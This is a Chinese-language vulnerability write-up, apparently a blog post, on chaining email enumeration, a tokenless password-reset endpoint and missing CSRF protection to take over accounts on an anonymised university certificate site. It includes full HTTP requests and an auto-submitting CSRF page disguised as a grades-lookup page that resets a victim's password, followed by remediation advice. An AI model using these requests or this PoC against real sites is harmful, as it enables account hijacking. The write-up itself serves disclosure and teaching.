一次高危账号接管漏洞挖掘记录:CSRF 配合业务逻辑缺陷
一次高危账号接管漏洞挖掘记录:CSRF 配合业务逻辑缺陷
说明:本文已经对目标进行匿名化处理,所有域名、机构名称、用户信息均做替换,仅保留漏洞技术逻辑用于学习研究。
背景与起因
在做站点资产浏览测试的时候,我注意到证书服务系统的学生相关接口。 最开始只是看忘记密码相关功能,顺着接口一路往下跟进,发现了一组业务逻辑和安全防护同时缺失的问题,多个缺陷可以串联起来,最终实现任意账号接管。
测试环境
浏览器:Edge
抓包工具:Burp Suite
测试对象:某高校证书业务站点
漏洞发现
整个问题由三处独立缺陷组合而成:
密码重置接口不需要重置 Token,仅传入邮箱、用户名、新密码就可以直接修改密码,不校验旧密码,也不需要邮件验证码。
接口完全缺少 CSRF 防护,没有 CSRF‑Token,Cookie 未配置 SameSite,也不校验 Origin/Referer 请求头。
忘记密码接口存在邮箱枚举,有效邮箱与无效邮箱返回状态码不一致。
除此之外,还发现个人信息修改接口同样存在防护缺失,无需二次校验就可以直接修改绑定手机号、邮箱。
复现过程
第一步:枚举系统内有效邮箱
接口地址:/rest/student/forget.jsonx
POST 请求数据包:
POST /rest/student/forget.jsonx HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Sec-Ch-Ua: "Microsoft Edge";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
email=test@qq.com&rnd=0.123
传入存在的邮箱,接口返回
200状态码
传入不存在的邮箱,接口返回
500状态码
依靠这个返回差异,就可以批量枚举站点已注册的邮箱账号。
第二步:确认 CSRF 防护缺失
查看接口返回的 Cookie 相关响应头:
HTTP/1.1 200
Set-Cookie: JSESSIONID=****;Secure;HttpOnly;
X-Frame-Options: SAMEORIGIN
也就是说,只要受害者浏览器存在该站点有效 Session,跨域页面就可以携带 Cookie 发起请求调用业务接口。
第三步:构造 CSRF POC 接管账号
密码重置接口:/rest/student/rebuild.jsonx
POC 页面 HTML:
<!DOCTYPE html>
<html>
<head><title>成绩查询</title></head>
<body>
<h3>正在加载成绩信息,请稍候...</h3>
<form action="https://target.example.com/rest/student/rebuild.jsonx" method="POST" id="csrf">
<input type="hidden" name="email" value="test@qq.com" />
<input type="hidden" name="yhm" value="testuser" />
<input type="hidden" name="newdlmm" value="035876" />
<input type="hidden" name="rnd" value="0.123" />
<input type="submit" value="Submit request" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
将 HTML 保存到本地,在已经登录目标站点的浏览器打开页面,表单会自动提交。提交完成后,对应账号密码就被直接修改成 Payload 中指定的值。

修改完成后,可以直接使用新密码登录账号,验证接管效果。

也可以直接使用 Burp 发送数据包完成密码重置,不需要其他验证:
POST /rest/student/rebuild.jsonx HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Sec-Ch-Ua: "Microsoft Edge";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
email=test@qq.com&yhm=testuser&newdlmm=Hacker123!&rnd=0.123
完整攻击流程
攻击者调用
forget.jsonx枚举得到受害者有效邮箱,再获取对应的用户名。构造上面的 CSRF 恶意页面,填入受害者邮箱、用户名,设置攻击者可控的新密码。
将恶意页面链接发给受害者。
受害者浏览器已经登录目标站点,点击链接后表单自动提交。
后端直接重置账号密码。
攻击者使用新密码登录完成账号接管。
附属问题:个人信息修改接口无二次校验
接口 /rest/student/editSome.json 是个人信息通用修改接口,依靠type参数区分修改项。 其中type=phone修改手机号、type=email修改邮箱,不需要短信、邮箱验证码确认,接口只校验登录 Session。
该接口同样缺少 CSRF 防护,存在两种利用场景:
结合 CSRF,诱导已登录用户访问恶意页面,自动篡改绑定手机号、邮箱。
已登录的普通用户,可以随意篡改自己账号的联系信息,绕过业务实名认证逻辑。
修改手机号示例请求
POST /rest/student/editSome.json HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Content-Type: application/x-www-form-urlencoded
value=13800000000&type=phone&rnd=0.123
响应:
{"code":200,"msg":null,"ext":null}
修改邮箱示例请求
POST /rest/student/editSome.json HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Content-Type: application/x-www-form-urlencoded
value=test@test.com&type=email&rnd=0.456
响应:
{"code":200,"msg":null,"ext":null}
测试完成之后需要恢复原有手机号与邮箱,避免对业务账号造成影响。
简单源码分析
前端页面中doChangePhone()函数虽然有弹窗交互逻辑,但这仅仅是前端限制。 直接调用后端 API 就可以完全绕过弹窗。 服务端代码没有针对修改手机号、邮箱做二次身份校验,拿到 Session 就直接更新数据库记录。
// 正常页面交互逻辑
function doChangePhone() {
// ...弹窗交互逻辑...
data: {"value":value,"type":"phone","rnd":Math.random()},
// ...
}
影响分析
攻击者可以诱导用户访问页面,在用户无感知的情况下重置账号密码,接管业务账号。
邮箱枚举接口会泄露系统内部已注册账号清单,为后续攻击提供基础数据。
个人信息接口可以篡改账号绑定的手机号、邮箱,破坏账号找回、身份校验等业务逻辑。
修复建议
密码重置接口 rebuild.jsonx
必须引入时效性重置 Token 流程,重置密码只能通过邮件发送的带 Token 链接完成,不能直接靠参数重置密码。
全量状态变更接口
所有会修改数据的接口增加 CSRF-Token 校验。
Cookie 配置
SameSite=Strict或者SameSite=Lax属性。增加 Referer/Origin 请求头白名单校验作为辅助防护。
邮箱枚举接口 forget.jsonx
统一返回模糊提示:“如该邮箱已注册,重置邮件已发送”,消除状态码差异,防止账号枚举。
个人信息修改 editSome.json
修改手机号:向旧手机号发送短信验证码,校验通过之后才允许更新。
修改邮箱:向旧邮箱发送确认链接;变更完成前还要对新邮箱做有效性验证。
关键敏感信息变更,增加账号密码二次确认。
经验总结
这一类高危漏洞往往不是单一问题导致。 这次的问题,CSRF 本身不算特别罕见,但搭配上业务逻辑缺陷 —— 重置密码不需要 Token、改绑定信息不需要验证码,漏洞危害直接被放大到账号接管。 很多开发会把校验逻辑写在前端页面,认为弹窗就足够安全,忽略了攻击者可以直接调用后端接口绕过前端限制。 在做测试的时候,遇到密码重置、绑定手机邮箱这类高危业务点,要多抓包看看接口实际校验逻辑,不要只看页面交互。